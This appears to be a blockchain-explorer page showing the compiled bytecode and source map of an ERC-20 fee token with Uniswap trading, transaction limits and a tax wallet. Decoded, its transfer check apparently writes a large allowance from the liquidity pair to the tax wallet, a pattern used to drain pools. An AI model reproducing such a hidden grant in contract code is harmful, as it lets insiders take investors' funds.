060405250810190610778919061183a565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f6103a9338484610b03565b5f546001600160a01b031633146107cf5760405162461bcd60e51b815260040161046490611805565b601254600160a01b900460ff16156108295760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610464565b6011546001600160a01b031663f305d719473061085a816001600160a01b03165f9081526001602052604090205490565b5f8061086d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108d3573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108f89190611855565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561094d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109719190611880565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146109b45760405162461bcd60e51b815260040161046490611805565b60405133904780156108fc02915f818181858888f193505050501580156109dd573d5f803e3d5ffd5b50565b6001600160a01b038316610a425760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610464565b6001600160a01b038216610aa35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610464565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b675760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610464565b604080518082019091526012546001600160a01b039081168252601054166020820152610b939061120e565b8015610ba757506001600160a01b03821615155b610bff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610464565b5f8111610c605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610464565b6012545f90600160b01b900460ff161580610c845750601254600160a81b900460ff165b15610d3c576001600160a01b0384165f90815260016020526040902054610cac90839061189f565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610cdb9083906118b2565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d2e9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d6657505f546001600160a01b03848116911614155b156110a2576012546001600160a01b038581169116148015610d9657506011546001600160a01b03848116911614155b8015610dba57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f1f57601254600160a01b900460ff16610e105760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610464565b610e3c6064610e36600854600b5411610e2b57600454610e2f565b6006545b8590611287565b9061130c565b9050600c54821115610e905760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610464565b600d5482610eb2856001600160a01b03165f9081526001602052604090205490565b610ebc91906118b2565b1115610f0a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b600b8054905f610f19836118c5565b91905055505b6012546001600160a01b03848116911614801590610f5557506001600160a01b0383165f9081526003602052604090205460ff16155b15610fd457600d5482610f7c856001600160a01b03165f9081526001602052604090205490565b610f8691906118b2565b1115610fd45760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b6012546001600160a01b03908116908416036110125761100f6064610e36600954600b541161100557600554610e2f565b6007548590611287565b90505b601254600160a81b900460ff1615801561103957506012546001600160a01b038481169116145b801561104e5750601254600160b01b900460ff165b801561105d5750600a54600b54115b156110a257305f90815260016020526040902054600e54811115611098576110986110938461108e84600f5461134d565b61134d565b611361565b6110a06114d1565b505b801561111a57305f908152600160205260409020546110c19082611507565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111119085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461113c9083611565565b6001600160a01b0385165f9081526001602052604090205561117f6111618383611565565b6001600160a01b0385165f9081526001602052604090205490611507565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111c88585611565565b604051908152602001610d2e565b5f81848411156111f95760405162461bcd60e51b815260040161046491906115d2565b505f611205848661189f565b95945050505050565b5f600754600d54606461122191906117ee565b600c5461122f9060646117ee565b60065461123c91906118b2565b61124691906118b2565b61125091906118b2565b82516001600160a01b039081165f908152600260209081526040808320968201519093168252949094529092209190915550600190565b5f825f0361129657505f6103ad565b5f6112a183856117ee565b9050826112ae85836118f1565b146113055760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610464565b9392505050565b5f61130583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115a6565b5f81831161135b5782611305565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113a7576113a76118dd565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113fe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611422919061183a565b81600181518110611435576114356118dd565b6001600160a01b03928316602091820292909201015260115461145b91309116846109e0565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114939085905f90869030904290600401611910565b5f604051808303815f87803b1580156114aa575f80fd5b505af11580156114bc573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109dd573d5f803e3d5ffd5b5f8061151383856118b2565b9050838110156113055760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610464565b5f61130583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d6565b5f81836115c65760405162461bcd60e51b815260040161046491906115d2565b505f61120584866118f1565b5f602080835283518060208501525f5b818110156115fe578581018301518582016040015282016115e2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109dd575f80fd5b5f8060408385031215611643575f80fd5b823561164e8161161e565b946020939093013593505050565b5f805f6060848603121561166e575f80fd5b83356116798161161e565b925060208401356116898161161e565b929592945050506040919091013590565b5f602082840312156116aa575f80fd5b81356113058161161e565b5f80604083850312156116c6575f80fd5b82356116d18161161e565b915060208301356116e18161161e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561173a57815f1904821115611720576117206116ec565b8085161561172d57918102915b93841c9390800290611705565b509250929050565b5f82611750575060016103ad565b8161175c57505f6103ad565b8160018114611772576002811461177c57611798565b60019150506103ad565b60ff84111561178d5761178d6116ec565b50506001821b6103ad565b5060208310610133831016604e8410600b84101617156117bb575081810a6103ad565b6117c58383611700565b805f19048211156117d8576117d86116ec565b029392505050565b5f61130560ff841683611742565b80820281158282048414176103ad576103ad6116ec565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561184a575f80fd5b81516113058161161e565b5f805f60608486031215611867575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611890575f80fd5b81518015158114611305575f80fd5b818103818111156103ad576103ad6116ec565b808201808211156103ad576103ad6116ec565b5f600182016118d6576118d66116ec565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f8261190b57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119605784516001600160a01b03168352938301939183019160010161193b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122064c9e578dd4bbfc7afd6520d83f0d499afb2ce78a5cfe0799a64a807459d15e064736f6c63430008180033

Deployed Bytecode Sourcemap

3614:7538:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5640:83;;;;;;;;;;-1:-1:-1;5710:5:0;;;;;;;;;;;;-1:-1:-1;;;5710:5:0;;;;5640:83;;;;;;;:::i;:::-;;;;;;;;6772:161;;;;;;;;;;-1:-1:-1;6772:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6772:161:0;1023:187:1;4589:46:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4589:46:0;1215:177:1;5911:95:0;;;;;;;;;;;;;:::i;4476:47::-;;;;;;;;;;;;;;;;6455:311;;;;;;;;;;-1:-1:-1;6455:311:0;;;;;:::i;:::-;;:::i;5822:83::-;;;;;;;;;;-1:-1:-1;5822:83:0;;4228:1;2000:36:1;;1988:2;1973:18;5822:83:0;1858:184:1;10367:246:0;;;;;;;;;;-1:-1:-1;10367:246:0;;;;;:::i;:::-;;:::i;:::-;;6012:117;;;;;;;;;;-1:-1:-1;6012:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6105:16:0;6078:7;6105:16;;;:7;:16;;;;;;;6012:117;805:148;;;;;;;;;;;;;:::i;4422:47::-;;;;;;;;;;;;;;;;5263:371;;;;;;;;;;;;;:::i;595:79::-;;;;;;;;;;-1:-1:-1;633:7:0;660:6;595:79;;-1:-1:-1;;;;;660:6:0;;;2705:51:1;;2693:2;2678:18;595:79:0;2559:203:1;5729:87:0;;;;;;;;;;-1:-1:-1;5801:7:0;;;;;;;;;;;;-1:-1:-1;;;5801:7:0;;;;5729:87;;6135:167;;;;;;;;;;-1:-1:-1;6135:167:0;;;;;:::i;:::-;;:::i;4530:52::-;;;;;;;;;;;;;;;;9436:471;;;;;;;;;;;;;:::i;11037:112::-;;;;;;;;;;;;;:::i;6308:141::-;;;;;;;;;;-1:-1:-1;6308:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;6416:16:0;;;6389:7;6416:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;6308:141;6772:161;6847:4;6864:39;258:10;6887:7;6896:6;6864:8;:39::i;:::-;-1:-1:-1;6921:4:0;6772:161;;;;;:::o;5911:95::-;5964:7;4286:15;4228:1;4286:2;:15;:::i;:::-;4271:30;;:12;:30;:::i;:::-;5984:14;;5911:95;:::o;6455:311::-;6553:4;6570:36;6580:6;6588:9;6599:6;6570:9;:36::i;:::-;6617:119;6626:6;258:10;6648:87;6684:6;6648:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6648:17:0;;;;;;:9;:17;;;;;;;;258:10;6648:31;;;;;;;;;;:35;:87::i;:::-;6617:8;:119::i;:::-;-1:-1:-1;6754:4:0;6455:311;;;;;:::o;10367:246::-;720:6;;-1:-1:-1;;;;;720:6:0;258:10;720:22;712:67;;;;-1:-1:-1;;;712:67:0;;;;;;;:::i;:::-;;;;;;;;;4286:15:::1;4228:1;4286:2;:15;:::i;:::-;4271:30;::::0;:12:::1;:30;:::i;:::-;10439:12;:20:::0;4286:15:::1;4228:1;4286:2;:15;:::i;:::-;4271:30;::::0;:12:::1;:30;:::i;:::-;10470:12;:20:::0;10501:10:::1;:16:::0;;-1:-1:-1;;;;;;10501:16:0::1;-1:-1:-1::0;;;;;10501:16:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;10536:19:0;;;:14:::1;:19;::::0;;;;:26;;-1:-1:-1;;10536:26:0::1;-1:-1:-1::0;10536:26:0::1;::::0;;10578:27:::1;4286:15;4228:1;4286:2;:15;:::i;:::-;4271:30;::::0;:12:::1;:30;:::i;:::-;10578:27;::::0;1361:25:1;;;1349:2;1334:18;10578:27:0::1;;;;;;;10367:246:::0;:::o;805:148::-;720:6;;-1:-1:-1;;;;;720:6:0;258:10;720:22;712:67;;;;-1:-1:-1;;;712:67:0;;;;;;;:::i;:::-;912:1:::1;896:6:::0;;875:40:::1;::::0;-1:-1:-1;;;;;896:6:0;;::::1;::::0;875:40:::1;::::0;912:1;;875:40:::1;943:1;926:19:::0;;-1:-1:-1;;;;;;926:19:0::1;::::0;;805:148::o;5263:371::-;720:6;;-1:-1:-1;;;;;720:6:0;258:10;720:22;712:67;;;;-1:-1:-1;;;712:67:0;;;;;;;:::i;:::-;5315:11:::1;:100:::0;;-1:-1:-1;;;;;;5315:100:0::1;5362:42;5315:100:::0;;::::1;::::0;;;5426:54:::1;::::0;5443:4:::1;::::0;4286:15:::1;4228:1;4286:2;:15;:::i;:::-;4271:30;::::0;:12:::1;:30;:::i;5426:54::-;5521:11;;;;;;;;;-1:-1:-1::0;;;;;5521:11:0::1;-1:-1:-1::0;;;;;5521:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5503:51:0::1;;5577:4;5597:11;;;;;;;;;-1:-1:-1::0;;;;;5597:11:0::1;-1:-1:-1::0;;;;;5597:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5503:123;::::0;-1:-1:-1;;;;;;5503:123:0::1;::::0;;;;;;-1:-1:-1;;;;;5689:15:1;;;5503:123:0::1;::::0;::::1;5671:34:1::0;5741:15;;5721:18;;;5714:43;5606:18;;5503:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5491:9;:135:::0;;-1:-1:-1;;;;;;5491:135:0::1;-1:-1:-1::0;;;;;5491:135:0;;;::::1;::::0;;;::::1;::::0;;5263:371::o;6135:167::-;6213:4;6230:42;258:10;6254:9;6265:6;6230:9;:42::i;9436:471::-;720:6;;-1:-1:-1;;;;;720:6:0;258:10;720:22;712:67;;;;-1:-1:-1;;;712:67:0;;;;;;;:::i;:::-;9498:11:::1;::::0;-1:-1:-1;;;9498:11:0;::::1;;;9497:12;9489:48;;;::::0;-1:-1:-1;;;9489:48:0;;5970:2:1;9489:48:0::1;::::0;::::1;5952:21:1::0;6009:2;5989:18;;;5982:30;6048:25;6028:18;;;6021:53;6091:18;;9489:48:0::1;5768:347:1::0;9489:48:0::1;9548:11;::::0;-1:-1:-1;;;;;9548:11:0::1;:27;9583:21;9628:4;9648:24;9628:4:::0;-1:-1:-1;;;;;6105:16:0;6078:7;6105:16;;;:7;:16;;;;;;;6012:117;9648:24:::1;9687:1;9703::::0;9719:7:::1;633::::0;660:6;-1:-1:-1;;;;;660:6:0;;595:79;9719:7:::1;9548:219;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9548:219:0;;;-1:-1:-1;;;;;6479:15:1;;;9548:219:0::1;::::0;::::1;6461:34:1::0;6511:18;;;6504:34;;;;6554:18;;;6547:34;;;;6597:18;;;6590:34;6661:15;;;6640:19;;;6633:44;9741:15:0::1;6693:19:1::0;;;6686:35;6395:19;;9548:219:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9785:9:0::1;::::0;9812:11:::1;::::0;9778:63:::1;::::0;-1:-1:-1;;;9778:63:0;;-1:-1:-1;;;;;9812:11:0;;::::1;9778:63;::::0;::::1;7217:51:1::0;-1:-1:-1;;7284:18:1;;;7277:34;9785:9:0;::::1;::::0;-1:-1:-1;9778:25:0::1;::::0;7190:18:1;;9778:63:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9852:11:0::1;:18:::0;;-1:-1:-1;;;;9881:18:0;-1:-1:-1;;;9881:18:0;;;9436:471::o;11037:112::-;720:6;;-1:-1:-1;;;;;720:6:0;258:10;720:22;712:67;;;;-1:-1:-1;;;712:67:0;;;;;;;:::i;:::-;11088:53:::1;::::0;258:10;;11119:21:::1;11088:53:::0;::::1;;;::::0;::::1;::::0;;;11119:21;258:10;11088:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11037:112::o:0;6939:333::-;-1:-1:-1;;;;;7032:19:0;;7024:68;;;;-1:-1:-1;;;7024:68:0;;7806:2:1;7024:68:0;;;7788:21:1;7845:2;7825:18;;;7818:30;7884:34;7864:18;;;7857:62;-1:-1:-1;;;7935:18:1;;;7928:34;7979:19;;7024:68:0;7604:400:1;7024:68:0;-1:-1:-1;;;;;7111:21:0;;7103:68;;;;-1:-1:-1;;;7103:68:0;;8211:2:1;7103:68:0;;;8193:21:1;8250:2;8230:18;;;8223:30;8289:34;8269:18;;;8262:62;-1:-1:-1;;;8340:18:1;;;8333:32;8382:19;;7103:68:0;8009:398:1;7103:68:0;-1:-1:-1;;;;;7182:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7232:32;;1361:25:1;;;7232:32:0;;1334:18:1;7232:32:0;;;;;;;6939:333;;;:::o;7278:2152::-;-1:-1:-1;;;;;7366:18:0;;7358:68;;;;-1:-1:-1;;;7358:68:0;;8614:2:1;7358:68:0;;;8596:21:1;8653:2;8633:18;;;8626:30;8692:34;8672:18;;;8665:62;-1:-1:-1;;;8743:18:1;;;8736:35;8788:19;;7358:68:0;8412:401:1;7358:68:0;7445:30;;;;;;;;;7452:9;;-1:-1:-1;;;;;7452:9:0;;;7445:30;;7463:10;;;7445:30;;;;;;:5;:30::i;:::-;:50;;;;-1:-1:-1;;;;;;7479:16:0;;;;7445:50;7437:98;;;;-1:-1:-1;;;7437:98:0;;9020:2:1;7437:98:0;;;9002:21:1;9059:2;9039:18;;;9032:30;9098:34;9078:18;;;9071:62;-1:-1:-1;;;9149:18:1;;;9142:33;9192:19;;7437:98:0;8818:399:1;7437:98:0;7563:1;7554:6;:10;7546:64;;;;-1:-1:-1;;;7546:64:0;;9424:2:1;7546:64:0;;;9406:21:1;9463:2;9443:18;;;9436:30;9502:34;9482:18;;;9475:62;-1:-1:-1;;;9553:18:1;;;9546:39;9602:19;;7546:64:0;9222:405:1;7546:64:0;7656:11;;7621:17;;-1:-1:-1;;;7656:11:0;;;;7655:12;;:22;;-1:-1:-1;7671:6:0;;-1:-1:-1;;;7671:6:0;;;;7655:22;7651:209;;;-1:-1:-1;;;;;7710:13:0;;;;;;:7;:13;;;;;;:22;;7726:6;;7710:22;:::i;:::-;-1:-1:-1;;;;;7694:13:0;;;;;;;:7;:13;;;;;;:38;;;;7761:11;;;;;;;:20;;7775:6;;7761:20;:::i;:::-;-1:-1:-1;;;;;7747:11:0;;;;;;;:7;:11;;;;;;;:34;;;;7801:26;;;;;;;;;;7820:6;1361:25:1;;1349:2;1334:18;;1215:177;7801:26:0;;;;;;;;7842:7;7278:2152;;;:::o;7651:209::-;633:7;660:6;-1:-1:-1;;;;;7874:15:0;;;660:6;;7874:15;;;;:32;;-1:-1:-1;633:7:0;660:6;-1:-1:-1;;;;;7893:13:0;;;660:6;;7893:13;;7874:32;7870:1218;;;7935:9;;-1:-1:-1;;;;;7927:17:0;;;7935:9;;7927:17;:47;;;;-1:-1:-1;7962:11:0;;-1:-1:-1;;;;;7948:26:0;;;7962:11;;7948:26;;7927:47;:71;;;;-1:-1:-1;;;;;;7980:18:0;;;;;;:14;:18;;;;;;;;7978:20;7927:71;7923:469;;;8027:11;;-1:-1:-1;;;8027:11:0;;;;8019:44;;;;-1:-1:-1;;;8019:44:0;;10097:2:1;8019:44:0;;;10079:21:1;10136:2;10116:18;;;10109:30;-1:-1:-1;;;10155:18:1;;;10148:51;10216:18;;8019:44:0;9895:345:1;8019:44:0;8094:76;8166:3;8094:67;8116:15;;8106:9;;:25;8105:55;;8146:14;;8105:55;;;8133:12;;8105:55;8094:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8082:88;;8207:12;;8197:6;:22;;8189:60;;;;-1:-1:-1;;;8189:60:0;;10447:2:1;8189:60:0;;;10429:21:1;10486:2;10466:18;;;10459:30;10525:27;10505:18;;;10498:55;10570:18;;8189:60:0;10245:349:1;8189:60:0;8302:12;;8292:6;8276:13;8286:2;-1:-1:-1;;;;;6105:16:0;6078:7;6105:16;;;:7;:16;;;;;;;6012:117;8276:13;:22;;;;:::i;:::-;:38;;8268:77;;;;-1:-1:-1;;;8268:77:0;;10801:2:1;8268:77:0;;;10783:21:1;10840:2;10820:18;;;10813:30;10879:28;10859:18;;;10852:56;10925:18;;8268:77:0;10599:350:1;8268:77:0;8364:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7923:469;8416:9;;-1:-1:-1;;;;;8410:15:0;;;8416:9;;8410:15;;;;:39;;-1:-1:-1;;;;;;8431:18:0;;;;;;:14;:18;;;;;;;;8429:20;8410:39;8406:157;;;8504:12;;8494:6;8478:13;8488:2;-1:-1:-1;;;;;6105:16:0;6078:7;6105:16;;;:7;:16;;;;;;;6012:117;8478:13;:22;;;;:::i;:::-;:38;;8470:77;;;;-1:-1:-1;;;8470:77:0;;10801:2:1;8470:77:0;;;10783:21:1;10840:2;10820:18;;;10813:30;10879:28;10859:18;;;10852:56;10925:18;;8470:77:0;10599:350:1;8470:77:0;8586:9;;-1:-1:-1;;;;;8586:9:0;;;8580:15;;;;8577:146;;8628:79;8703:3;8628:70;8650:16;;8640:9;;:26;8639:58;;8682:15;;8639:58;;;8668:13;;8628:6;;:10;:70::i;:79::-;8616:91;;8577:146;8742:6;;-1:-1:-1;;;8742:6:0;;;;8741:7;:26;;;;-1:-1:-1;8758:9:0;;-1:-1:-1;;;;;8752:15:0;;;8758:9;;8752:15;8741:26;:41;;;;-1:-1:-1;8771:11:0;;-1:-1:-1;;;8771:11:0;;;;8741:41;:73;;;;;8796:18;;8786:9;;:28;8741:73;8737:340;;;8884:4;8835:28;6105:16;;;:7;:16;;;;;;8933:17;;8912:38;;8909:123;;;8973:59;8982:49;8986:6;8993:37;8997:20;9018:11;;8993:3;:37::i;:::-;8982:3;:49::i;:::-;8973:8;:59::i;:::-;9051:10;:8;:10::i;:::-;8816:261;8737:340;9101:11;;9098:157;;9165:4;9149:22;;;;:7;:22;;;;;;:37;;9176:9;9149:26;:37::i;:::-;9142:4;9126:22;;;;:7;:22;;;;;;;:60;;;;9204:39;;-1:-1:-1;;;;;9204:39:0;;;;;;;9233:9;1361:25:1;;1349:2;1334:18;;1215:177;9204:39:0;;;;;;;;9098:157;-1:-1:-1;;;;;9279:13:0;;;;;;:7;:13;;;;;;:25;;9297:6;9279:17;:25::i;:::-;-1:-1:-1;;;;;9265:13:0;;;;;;:7;:13;;;;;:39;9327:38;9343:21;:6;9354:9;9343:10;:21::i;:::-;-1:-1:-1;;;;;9327:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;9315:11:0;;;;;;;:7;:11;;;;;:50;;;;9381:41;;;9400:21;:6;9411:9;9400:10;:21::i;:::-;9381:41;;1361:25:1;;;1349:2;1334:18;9381:41:0;1215:177:1;1309:190:0;1395:7;1431:12;1423:6;;;;1415:29;;;;-1:-1:-1;;;1415:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1455:9:0;1467:5;1471:1;1467;:5;:::i;:::-;1455:17;1309:190;-1:-1:-1;;;;;1309:190:0:o;10759:177::-;10813:4;10902:13;;10885:12;;10898:3;10885:16;;;;:::i;:::-;10868:12;;:16;;10881:3;10868:16;:::i;:::-;10855:12;;:29;;;;:::i;:::-;:46;;;;:::i;:::-;:60;;;;:::i;:::-;10839:6;;-1:-1:-1;;;;;10829:17:0;;;;;;;:9;10839:6;10829:17;;;;;;;10847:6;;;;10829:25;;;;;;;;;;;;:86;;;;-1:-1:-1;10851:1:0;;10759:177::o;1505:246::-;1563:7;1587:1;1592;1587:6;1583:47;;-1:-1:-1;1617:1:0;1610:8;;1583:47;1640:9;1652:5;1656:1;1652;:5;:::i;:::-;1640:17;-1:-1:-1;1685:1:0;1676:5;1680:1;1640:17;1676:5;:::i;:::-;:10;1668:56;;;;-1:-1:-1;;;1668:56:0;;11650:2:1;1668:56:0;;;11632:21:1;11689:2;11669:18;;;11662:30;11728:34;11708:18;;;11701:62;-1:-1:-1;;;11779:18:1;;;11772:31;11820:19;;1668:56:0;11448:397:1;1668:56:0;1742:1;1505:246;-1:-1:-1;;;1505:246:0:o;1757:132::-;1815:7;1842:39;1846:1;1849;1842:39;;;;;;;;;;;;;;;;;:3;:39::i;10619:99::-;10675:7;10704:1;10702;:3;10701:9;;10709:1;10701:9;;;-1:-1:-1;10707:1:0;10619:99;-1:-1:-1;10619:99:0:o;9913:448::-;4930:6;:13;;-1:-1:-1;;;;4930:13:0;-1:-1:-1;;;4930:13:0;;;10002:16:::1;::::0;;10016:1:::1;10002:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10002:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10002:16:0::1;9978:40;;10047:4;10029;10034:1;10029:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10029:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10073:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;10073:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;10029:7;;10073:18;;;;;:11;:18:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10063:4;10068:1;10063:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10063:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;10134:11:::1;::::0;10102:53:::1;::::0;10119:4:::1;::::0;10134:11:::1;10148:6:::0;10102:8:::1;:53::i;:::-;10166:11;::::0;:187:::1;::::0;-1:-1:-1;;;10166:187:0;;-1:-1:-1;;;;;10166:11:0;;::::1;::::0;:62:::1;::::0;:187:::1;::::0;10243:6;;10166:11:::1;::::0;10280:4;;10307::::1;::::0;10327:15:::1;::::0;10166:187:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4966:6:0;:14;;-1:-1:-1;;;;4966:14:0;;;-1:-1:-1;;;;9913:448:0:o;10942:89::-;10981:10;;:42;;-1:-1:-1;;;;;10981:10:0;;;;11001:21;10981:42;;;;;:10;:42;:10;:42;11001:21;10981:10;:42;;;;;;;;;;;;;;;;;;;982:179;1040:7;;1072:5;1076:1;1072;:5;:::i;:::-;1060:17;;1101:1;1096;:6;;1088:46;;;;-1:-1:-1;;;1088:46:0;;13169:2:1;1088:46:0;;;13151:21:1;13208:2;13188:18;;;13181:30;13247:29;13227:18;;;13220:57;13294:18;;1088:46:0;12967:351:1;1167:136:0;1225:7;1252:43;1256:1;1259;1252:43;;;;;;;;;;;;;;;;;:3;:43::i;1895:189::-;1981:7;2016:12;2009:5;2001:28;;;;-1:-1:-1;;;2001:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2040:9:0;2052:5;2056:1;2052;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:255::-;2114:6;2167:2;2155:9;2146:7;2142:23;2138:32;2135:52;;;2183:1;2180;2173:12;2135:52;2222:9;2209:23;2241:31;2266:5;2241:31;:::i;2767:388::-;2835:6;2843;2896:2;2884:9;2875:7;2871:23;2867:32;2864:52;;;2912:1;2909;2902:12;2864:52;2951:9;2938:23;2970:31;2995:5;2970:31;:::i;:::-;3020:5;-1:-1:-1;3077:2:1;3062:18;;3049:32;3090:33;3049:32;3090:33;:::i;:::-;3142:7;3132:17;;;2767:388;;;;;:::o;3160:127::-;3221:10;3216:3;3212:20;3209:1;3202:31;3252:4;3249:1;3242:15;3276:4;3273:1;3266:15;3292:416;3381:1;3418:5;3381:1;3432:270;3453:7;3443:8;3440:21;3432:270;;;3512:4;3508:1;3504:6;3500:17;3494:4;3491:27;3488:53;;;3521:18;;:::i;:::-;3571:7;3561:8;3557:22;3554:55;;;3591:16;;;;3554:55;3670:22;;;;3630:15;;;;3432:270;;;3436:3;329